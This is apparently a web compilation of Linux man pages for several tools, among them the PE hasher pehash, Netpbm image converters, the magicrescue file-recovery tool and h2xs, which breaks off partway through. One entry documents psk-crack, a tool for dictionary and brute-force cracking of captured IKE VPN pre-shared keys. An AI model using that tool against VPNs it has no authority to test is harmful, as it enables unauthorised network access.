               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

258 - Linux cli command pehash

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pehash and provides detailed information about the command pehash, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pehash.

NAME 🖥️ pehash 🖥️

calculate hashes of PE pieces

SYNOPSIS

pehash [OPTIONS]… pefile

DESCRIPTION

pehash uses libssl, libfuzzy and other black magic to calculate PE file hashes. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-a, –all
Hash file, sections and headers with md5, sha1, sha256, ssdeep and imphash.

-c, –content
Hash only the file content (default).

-f, –format <text|csv|xml|html>
Change output format (default is text).

-h, –header <dos|coff|optional>
Hash only the header with the specified name.

-s, –section <section_name>
Hash only the section with the specified name.

–section-index <section_index>
Hash only the section at the specified index (1..n).

-V, –version
Show version.

–help
Show this help.

EXAMPLES

Check all supported checksums of putty.exe file:

$ pehash -a putty.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), peldd(1), pepack(1), peres(1), pescan(1), pesec(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

259 - Linux cli command ppmcolormask

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmcolormask and provides detailed information about the command ppmcolormask, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmcolormask.

.

NAME 🖥️ ppmcolormask 🖥️

produce mask of areas of a certain color in a PPM file

SYNOPSIS

ppmcolormask **-color=**color_list [ppmfile]

ppmcolormask color [ppmfile]

EXAMPLES

    ppmcolormask -color red testimg.ppm >redmask.pbm
    pamcomp background.ppm testimg.ppm -alpha=redmask.pbm >test.ppm

    ppmcolormask -color=red,pink,salmon testimg.ppm >reddishmask.pbm

    ppmcolormask -color=bk:red,bk:orange,bk:yellow testimg.ppm >firemask.pbm

DESCRIPTION

This program is part of Netpbm(1) .

ppmcolormask reads a PPM file as input and produces a PBM (bitmap) file as output. The output file is the same dimensions as the input file and is black in all places where the input file is a color indicated by the -color option, and white everywhere else.

The output of ppmcolormask is useful as a transparency mask input to pamcomp. Note that you don’t need ppmcolormask and pamcomp if you are ultimately converting to PNG with pnmtopng because the -transparent option on pnmtopng does the same thing.

ppmfile is the input file. If you don’t specify ppmfile, the input is from Standard Input.

The output goes to Standard Output.

In the obsolete alternative syntax, specifying the color names a single exact color to be masked.

ppmchange does a similar thing: it modifies an image by changing colors you specify to other colors you specify. The two programs give you somewhat different means of specifying colors in the input image.

To make a mask of an image’s background, without having to tell it what color it is, use pambackground.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmcolormask recognizes the following command line option:

**-color=**color_list
This mandatory option specifies the colors that are to be masked (where the image is one of these colors, the output mask will be black).

Examples:

  • -color=red

  • -color=red,pink,salmon

  • -color=rgb:80/80/ff

  • -color=bk:red,bk:orange,bk:yellow

color_list is a list of colors separated by commas. Each color is either an exact color name as described for the argument of the pnm_parsecolor() library routine or one of the Berlin-Kay color names . In the latter case, all colors that are better described by that Berlin-Kay color name than any other are in the mask set.

The algorithm ppmcolormask uses to determine to which colors a Berlin-Kay color name applies is based on a Sugeno-type fuzzy inference system developed by Kenan Kalajdzic in 2006. The fuzzy model consists of partially linear membership functions defined in the HSV color space. Although more complex algorithms for fuzzy color matching exist, this algorithm is intentionally simplified to achieve a satisfactory speed using relatively compact code.

This option was new in Netpbm 10.34 (June 2006). Before that, you must use the color argument and cannot specify a Berlin-Kay color.

SEE ALSO

pamfind(1) , pambackground(1) , ppmchange(1) , pgmtoppm(1) , pamcomp(1) , pbmmask(1) , pnmtopng(1) , ppm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmcolormask.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

260 - Linux cli command magicrescue

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command magicrescue and provides detailed information about the command magicrescue, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the magicrescue.

NAME 🖥️ magicrescue 🖥️

Scans a block device and extracts known file types by looking at magic bytes.

SYNOPSIS

magicrescue [ options ] devices

DESCRIPTION

Magic Rescue opens devices for reading, scans them for file types it knows how to recover and calls an external program to extract them. It looks at magic bytes in file contents, so it can be used both as an undelete utility and for recovering a corrupted drive or partition. It works on any file system, but on very fragmented file systems it can only recover the first chunk of each file. These chunks are sometimes as big as 50MB, however.

To invoke magicrescue, you must specify at least one device and the -d and -r options. See the USAGE section in this manual for getting started.

OPTIONS

-b blocksize
Default: 1. This will direct magicrescue to only consider files that start at a multiple of the blocksize argument. The option applies only to the recipes following it, so by specifying it multiple times it can be used to get different behavior for different recipes. Using this option you can usually get better performance, but fewer files will be found. In particular, files with leading garbage (e.g. many mp3 files) and files contained inside other files are likely to be skipped. Also, some file systems don’t align small files to block boundaries, so those won’t be found this way either. If you don’t know your file system’s block size, just use the value 512, which is almost always the hardware sector size.

-d directory
Mandatory. Output directory for found files. Make sure you have plenty of free space in this directory, especially when extracting very common file types such as jpeg or gzip files. Also make sure the file system is able to handle thousands of files in a single directory, i.e. don’t use FAT if you are extracting many files. You should not place the output directory on the same block device you are trying to rescue files from. This might add the same file to the block device ahead of the current reading position, causing magicrescue to find the same file again later. In the worst theoretical case, this could cause a loop where the same file is extracted thousands of times until disk space is exhausted. You are also likely to overwrite the deleted files you were looking for in the first place.

-r recipe
Mandatory. Recipe name, file, or directory. Specify this as either a plain name (e.g. jpeg-jfif) or a path (e.g. recipes/jpeg-jfif). If it doesn’t find such a file in the current directory, it will look in ./recipes and /usr/share/magicrescue/recipes. If recipe is a directory, all files in that directory will be treated as recipes. Browse the /usr/share/magicrescue/recipes directory to see what recipes are available. A recipe is a text file, and you should read the comments inside it before using it. Either use the recipe as it is or copy it somewhere and modify it. For information on creating your own recipes, see the RECIPES section.

-I file
Reads input files from file in addition to those listed on the command line. If file is -, read from standard input. Each line will be interpreted as a file name.

-M output_mode
Produce machine-readable output to stdout. output_mode can be:

  1. Print each input file name before processing

  2. Print each output file name after processing

io
Print both input and output file names. Input file names will be prefixed by i and a space. Output file names will be prefixed by o and a space.

Nothing else will be written to standard output in this mode.

-O [+|-|=][0x]offset
Resume from the specified offset in the first device. If prefixed with 0x it will be interpreted as a hex number. The number may be prefixed with a sign:

=
Seek to an absolute position (default)

  • Seek to a relative position. On regular files this does the same as the above.

  • Seek to EOF, minus the offset.

USAGE

Say you have destroyed the file system on /dev/hdb1 and you want to extract all the jpeg files you lost. This guide assumes you have installed Magic Rescue in /usr/local, which is the default.

Make sure DMA and other optimizations are enabled on your disk, or it will take hours. In Linux, use hdparm to set these options:

$ hdparm -d 1 -c 1 -u 1 /dev/hdb

Choose your output directory, somewhere with lots of disk space.

$ mkdir ~/output

Look in the /usr/local/share/magicrescue/recipes directory for the recipes you want. Magic Rescue comes with recipes for some common file types, and you can make your own too (see the next section). Open the recipes you want to use in a text editor and read their comments. Most recipes require 3rd party software to work, and you may want to modify some parameters (such as min_output_file) to suit your needs.

Then invoke magicrescue

$ magicrescue -r jpeg-jfif -r jpeg-exif -d ~/output /dev/hdb1

It will scan through your entire hard disk, so it may take a while. You can stop it and resume later of you want to. To do so, interrupt it (with CTRL+C) and note the progress information saying what address it got to. Then restart it later with the -O option.

When it has finished you will probably find thousands of .jpg files in ~/output, including things you never knew was in your browser cache. Sorting through all those files can be a huge task, so you may want to use software or scripts to do it.

First, try to eliminate duplicates with the dupemap(1) tool included in this package.

$ dupemap delete,report ~/output

If you are performing an undelete operation you will want to get rid of all the rescued files that also appear on the live file system. See the dupemap(1) manual for instructions on doing this.

If that’s not enough, you can use use magicsort(1) to get a better overview:

$ magicsort ~/output

RECIPES

Creating recipe files

A recipe file is a relatively simple file of 3-5 lines of text. It describes how to recognise the beginning of the file and what to do when a file is recognised. For example, all jfif images start with the bytes 0xff 0xd8. At the 6th byte will be the string JFIF. Look at recipes/jpeg-jfif in the source distribution to follow this example.

Matching magic data is done with a match operation that looks like this:

offset operation parameter

where offset is a decimal integer saying how many bytes from the beginning of the file this data is located, operation refers to a built-in match operation in magicrescue, and parameter is specific to that operation.

  • The string operation matches a string of any length. In the jfif example this is four bytes. You can use escape characters, like or .

  • The int32 operation matches 4 bytes ANDed with a bit mask. To match all four bytes, use the bit mask FFFFFFFF. If you have no idea what a bit mask is, just use the string operation instead. The mask FFFF0000 in the jfif example matches the first two bytes.

  • The char operation is like string, except it only matches a single character.

To learn these patterns for a given file type, look at files of the desired type in a hex editor, search through the resource files for the file(1) utility (<http://freshmeat.net/projects/file>) and/or search the Internet for a reference on the format.

If all the operations match, we have found the start of the file. Finding the end of the file is a much harder problem, and therefore it is delegated to an external shell command, which is named by the command directive. This command receives the block device’s file descriptor on stdin and must write to the file given to it in the $1 variable. Apart from that, the command can do anything it wants to try and extract the file.

For some file types (such as jpeg), a tool already exists that can do this. However, many programs misbehave when told to read from the middle of a huge block device. Some seek to byte 0 before reading (can be fixed by prefixing cat|, but some refuse to work on a file they can’t seek in). Others try to read the whole file into memory before doing anything, which will of course fail on a muti-gigabyte block device. And some fail completely to parse a partially corrupted file.

This means that you may have to write your own tool or wrap an existing program in some scripts that make it behave better. For example, this could be to extract the first 10MB into a temporary file and let the program work on that. Or perhaps you can use tools/safecat if the file may be very large.

Recipe format reference

Empty lines and lines starting with # will be skipped. A recipe contains a series of match operations to find the content and a series of directives to specify what to do with it.

Lines of the format offset operation parameter will add a match operation to the list. Match operations will be tried in the order they appear in the recipe, and they must all match for the recipe to succeed. The offset describes what offset this data will be found at, counting from the beginning of the file. operation can have the following values:

string string
The parameter is a character sequence that may contain escape sequences such as �.

char character
The parameter is a single character (byte), or an escape sequence.

int32 value bitmask
Both value and bitmask are expressed as 8-character hex strings. bitmask will be ANDed with the data, and the result will be compared to value. The byte order is as you see it in the hex editor, i.e. big-endian.

The first match operation in a recipe is special, it will be used to scan through the file. Only the char and string operations can be used there. To add more operation types, look at the instructions in magicrescue.c.

A line that doesn’t start with an integer is a directive. This can be:

extension ext
Mandatory. ext names the file extension for this type, such as jpg.

command command
Mandatory. When all the match operations succeed, this command will be executed to extract the file from the block device. command is passed to the shell with the block device’s file descriptor (seeked to the right byte) on stdin. The shell variable $1 will contain the file its output should be written to, and it must respect this. Otherwise magicrescue cannot tell whether it succeeded.

rename command
Optional. After a successful extraction this command will be run. Its purpose is to gather enough information about the file to rename it to something more meaningful. The script must not perform the rename command itself, but it should write to standard output the string RENAME, followed by a space, followed by the new file name. Nothing else must be written to standard output. If the file should not be renamed, nothing should be written to standard output. Standard input and $1 will work like with the command directive.

min_output_file size
Default: 100. Output files less than this size will be deleted.

allow_overlap bytes
By default, recipes will not match on overlapping byte ranges. allow_overlap disables this, and it should always be used for recipes where the extracted file may be larger than it was on disk. If bytes is negative, overlap checking will be completely disabled. Otherwise, overlap checking will be in effect for everything but the last bytes of the output. For example, if the output may be up to 512 bytes bigger than the input, allow_overlap should be set to 512.

To test whether your recipe actually works, either just run it on your hard disk or use the tools/checkrecipe script to pick out files that should match but don’t.

If you have created a recipe that works, please mail it to me at [email protected] so I can include it in the distribution.

WHEN TO NOT USE MAGIC RESCUE

Magic Rescue is not meant to be a universal application for file recovery. It will give good results when you are extracting known file types from an unusable file system, but for many other cases there are better tools available.

  • If there are intact partitions present somewhere, use gpart to find them.

  • If file system’s internal data structures are more or less undamaged, use The Sleuth Kit. At the time of writing, it only supports NTFS, FAT, ext[23] and FFS, though.

  • If Magic Rescue does not have a recipe for the file type you are trying to recover, try foremost instead. It recognizes more file types, but in most cases it extracts them simply by copying out a fixed number of bytes after it has found the start of the file. This makes postprocessing the output files more difficult.

In many cases you will want to use Magic Rescue in addition to the tools mentioned above. They are not mutually exclusive, e.g. combining magicrescue with dls from The Sleuth Kit could give good results. In many cases you’ll want to use magicrescue to extract its known file types and another utility to extract the rest.

When combining the results of more than one tool, dupemap(1) can be used to eliminate duplicates.

SEE ALSO

Similar programs

gpart(8)

<http://www.stud.uni-hannover.de/user/76201/gpart/>. Tries to rebuild the partition table by scanning the disk for lost partitions.

foremost(1)
<http://foremost.sourceforge.net>. Does the same thing as magicrescue, except that its recipes are less complex. Finding the end of the file must happen by either matching an EOF string or just extracting a fixed number of bytes every time. It supports more file types than Magic Rescue, but extracted files usually have lots of trailing garbage, so removal of duplicates and sorting by size is not possible.

The Sleuth Kit
<http://www.sleuthkit.org/sleuthkit/>. This popular package of utilities is extremely useful for undeleting files from a FAT/NTFS/ext2/ext3/FFS file system that’s not completely corrupted. Most of the utilities are not very useful if the file system has been corrupted or overwritten. It is based on The Coroner’s Toolkit (<http://www.porcupine.org/forensics/tct.html>).

JPEG recovery tools
This seems to be the file type most people are trying to recover. Available utilities include <http://www.cgsecurity.org/?photorec.html>, <http://codesink.org/recover.html>, and <http://www.vanheusden.com/findfile/>.

Getting disk images from failed disks
dd(1), rescuept(1), <http://www.garloff.de/kurt/linux/ddrescue/>, <http://www.kalysto.org/utilities/dd_rhelp/>, <http://vanheusden.com/recoverdm/>, <http://myrescue.sourceforge.net>

Processing magicrescue’s output
dupemap(1), file(1), magicsort(1), <http://ccorr.sourceforge.net>

Authoring recipes
magic(4), hexedit(1), <http://wotsit.org>

Filesystem-specific undelete utilities
There are too many to count them, especially for ext2 and FAT. Find them on Google and Freshmeat.

AUTHOR

Jonas Jensen <[email protected]>

LATEST VERSION

You can find the latest version at <https://github.com/jbj/magicrescue>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

261 - Linux cli command pamtowinicon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtowinicon and provides detailed information about the command pamtowinicon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtowinicon.

.

NAME 🖥️ pamtowinicon 🖥️

convert Netpbm PAM images to a Microsoft Windows icon file

SYNOPSIS

pamtowinicon [-pngthreshold=threshold] [-truetransparent] [-verbose] [pam_file]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtowinicon reads an RGB_ALPHA Netpbm PAM file and converts it to a Microsoft Windows icon file.

The output goes to Standard Output.

The input is a multi-image PAM file; each image becomes an icon in the output file. If you have input images in multiple files, you can simply combine them with cat and pass the result to pamtowinicon.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtowinicon recognizes the following command line options:

**-pngthreshold=**threshold
pamtowinicon encodes images with resolutions above or equal threshold by threshold as PNG by running pnmtopng(1) . Other images it encodes using the more traditional BMP format.

When the program uses PNG encoding for a 5-channel PAM with separate AND mask (see below), it discards the AND mask. Because PNG has always had the ability to specify transparency, the Windows icon format does not provide for a separate and mask when the icon is encoded in PNG.

The default value for threshold is 128.

-truetransparent
Make all pixels outside the opaque area black, avoiding inversion and other effects on the background of the image (see Windows Icons(1) ).

-verbose
Print more messages

IMAGES

pamtowinicon reads a (multi-image) Netpbm PAM file as input and outputs an single Windows icon file containing those images.

The images in the icon file are in the same order as in the PAM input.

PAM Input

pamtowinicon interprets the PAM images as follows, based on the number of channels.

_
channelsimage
1fully opaque grayscale image
2grayscale image with transparency channel
3fully opaque color image
4color image with transparency channel
5color image with transparency channel and additional AND
mask

The tuple types of the PAMs are irrelevant.

AND Mask

The so-called “AND mask” is a special feature of Microsoft Windows icons. It is required for all BMP encoded images. At the first sight, the AND mask is a 1-bit transparency channel, but it is also used for e.g. shading the icon while dragging. See Windows Icons(1) for details.

If there is no explicit AND mask, but transparency data in the input image, pamtowinicon sets the AND mask to opaque where the sample in the transparency channel is below maxval, and to transparent elsewhere.

If no transparency data is present in the input image, pamtowinicon assumes the whole image to be fully opaque.

BMP Output

When BMP encoding an image, pamtowinicon tries to use the most compact BI_RGB format allowed for icon images with a color depth of eight bits per channel.

pamtowinicon generates neither 16-bit BI_RGB nor BI_BITFIELDS BMP encoded images, even if the maxval of the input PAM is not 255.

SEE ALSO

  • winicontopam(1)

  • ppmtowinicon(1)

  • pam(1)

  • Windows Icons(1)

For information on the PNG format, see http://schaik.com/png .

HISTORY

pamtowinicon was new in Netpbm 10.63 (June 2013). It obsoleted ppmtowinicon by providing more function and conforming better to Netpbm conventions.

AUTHOR

Copyright (C) 2013 by Ludolf Holzheid.

Translated to Netpbm coding style by Bryan Henderson.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtowinicon.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

262 - Linux cli command pbmtocis

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtocis and provides detailed information about the command pbmtocis, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtocis.

.

NAME 🖥️ pbmtocis 🖥️

convert a PBM image to a CompuServe RLE image

SYNOPSIS

pbmtocis [-i] [-w] [cisfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtocis reads a PBM image as input and produces a CompuServe RLE image as output.

A CompuServe RLE image can be either 128 x 96 pixels or 256 x 192 pixels. Anything in excess on the right or bottom is cropped. If width or height is insufficient, padding is added on the right or bottom. For better control of the size adjustment use pamcut or pnmpad.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtocis recognizes the following command line options:

-i
Inverse: Reverse the mapping of foreground/background to black/white.

-w
If the input image is smaller than the fixed size of the output image, pad with white pixels rather than black.

SEE ALSO

cistopbm(1) , pamcut(1) , pnmpad(1) , pbm(1) CompuServe RLE file format

HISTORY

pbmtocis was new in Netpbm 10.48 (September 2009).

AUTHOR

Copyright (C) 2009 John Elliot <[email protected]>

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtocis.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

263 - Linux cli command psk-crack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psk-crack and provides detailed information about the command psk-crack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psk-crack.

NAME 🖥️ psk-crack 🖥️

crack - Crack IKE Aggressive Mode Pre-Shared Keys

SYNOPSIS

psk-crack [options]* *<psk-parameters-file>

<psk-parameters-file> is a file containing the parameters for the pre-shared key cracking process in the format generated by ike-scan with the –pskcrack (-P) option. This file can contain one or more entries. For multiple entries, each one must be on a separate line.

The program can crack either MD5 or SHA1-based hashes. The type of hash is automatically determined from the length of the hash (16 bytes for MD5 or 20 bytes for SHA1). Each entry in the <psk-parameters-file> is handled separately, so it is possible to crack a mixture of MD5 and SHA1 hashes.

psk-crack can also crack the proprietary hash format used by Nortel Contivity / VPN Router systems. When cracking Nortel format hashes, you need to specify the username of the hash that you are cracking with the –norteluser (-u) option. When cracking Nortel format hashes, you can only crack one hash at a time.

By default, psk-crack will perform dictionary cracking using the default dictionary. The dictionary can be changed with the –dictionary (-d) option, or brute-force cracking can be selected with the –bruteforce (-B) option.

DESCRIPTION

psk-crack attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the –pskcrack option.

psk-crack can operate in two different modes:

  1. Dictionary cracking mode: this is the default mode in which psk-crack tries each candidate word from the dictionary file in turn until it finds a match, or all the words in the dictionary have been tried.

  2. Brute-force cracking mode: in this mode, psk-crack tries all possible combinations of a specified character set up to a given length.

OPTIONS

–help or -h
Display this usage message and exit.

–version or -V
Display program version and exit.

–verbose or -v
Display verbose progress messages.

–dictionary=<f> or -d <f>
Set dictionary file to <f>. The default is /usr/local/share/ike-scan/psk-crack-dictionary.

–norteluser=<u> or -u <u>
Specify the username for Nortel Contivity cracking. This option is required when cracking pre-shared keys on Nortel Contivity / VPN Router systems. These systems use a proprietary method to calculate the hash that includes the username. This option is only needed when cracking Nortel format hashes, and should not be used for standard format hashes.

–bruteforce=<n> or -B <n>
Select bruteforce cracking up to <n> characters.

–charset=<s> or -c <s>
Set bruteforce character set to <s> Default is “0123456789abcdefghijklmnopqrstuvwxyz”

AUTHOR

Roy Hills <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

264 - Linux cli command h2xs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command h2xs and provides detailed information about the command h2xs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the h2xs.

NAME 🖥️ h2xs 🖥️

convert .h C header files to Perl extensions

SYNOPSIS

h2xs [OPTIONS …] [headerfile … [extra_libraries]]

h2xs -h|-?|–help

DESCRIPTION

h2xs builds a Perl extension from C header files. The extension will include functions which can be used to retrieve the value of any #define statement which was in the C header files.

The module_name will be used for the name of the extension. If module_name is not supplied then the name of the first header file will be used, with the first character capitalized.

If the extension might need extra libraries, they should be included here. The extension Makefile.PL will take care of checking whether the libraries actually exist and how they should be loaded. The extra libraries should be specified in the form -lm -lposix, etc, just as on the cc command line. By default, the Makefile.PL will search through the library path determined by Configure. That path can be augmented by including arguments of the form -L/another/library/path in the extra-libraries argument.

In spite of its name, h2xs may also be used to create a skeleton pure Perl module. See the -X option.

OPTIONS

-A, –omit-autoload
Omit all autoload facilities. This is the same as -c but also removes the use AutoLoader statement from the .pm file.

-B, –beta-version
Use an alpha/beta style version number. Causes version number to be “0.00_01” unless -v is specified.

-C, –omit-changes
Omits creation of the Changes file, and adds a HISTORY section to the POD template.

-F, –cpp-flags=addflags
Additional flags to specify to C preprocessor when scanning header for function declarations. Writes these options in the generated Makefile.PL too.

-M, –func-mask=regular expression
selects functions/macros to process.

-O, –overwrite-ok
Allows a pre-existing extension directory to be overwritten.

-P, –omit-pod
Omit the autogenerated stub POD section.

-X, –omit-XS
Omit the XS portion. Used to generate a skeleton pure Perl module. -c and -f are implicitly enabled.

-a, –gen-accessors
Generate an accessor method for each element of structs and unions. The generated methods are named after the element name; will return the current value of the element if called without additional arguments; and will set the element to the supplied value (and return the new value) if called with an additional argument. Embedded structures and unions are returned as a pointer rather than the complete structure, to facilitate chained calls. These methods all apply to the Ptr type for the structure; additionally two methods are constructed for the structure type itself, _to_ptr which returns a Ptr type pointing to the same structure, and a new method to construct and return a new structure, initialised to zeroes.

-b, –compat-version=version
Generates a .pm file which is backwards compatible with the specified perl version. For versions < 5.6.0, the changes are. - no use of ‘our’ (uses ‘use vars’ instead) - no ‘use warnings’ Specifying a compatibility version higher than the version of perl you are using to run h2xs will have no effect. If unspecified h2xs will default to compatibility with the version of perl you are using to run h2xs.

-c, –omit-constant
Omit constant() from the .xs file and corresponding specialised AUTOLOAD from the .pm file.

-d, –debugging
Turn on debugging messages.

-e, –omit-enums=[regular expression]
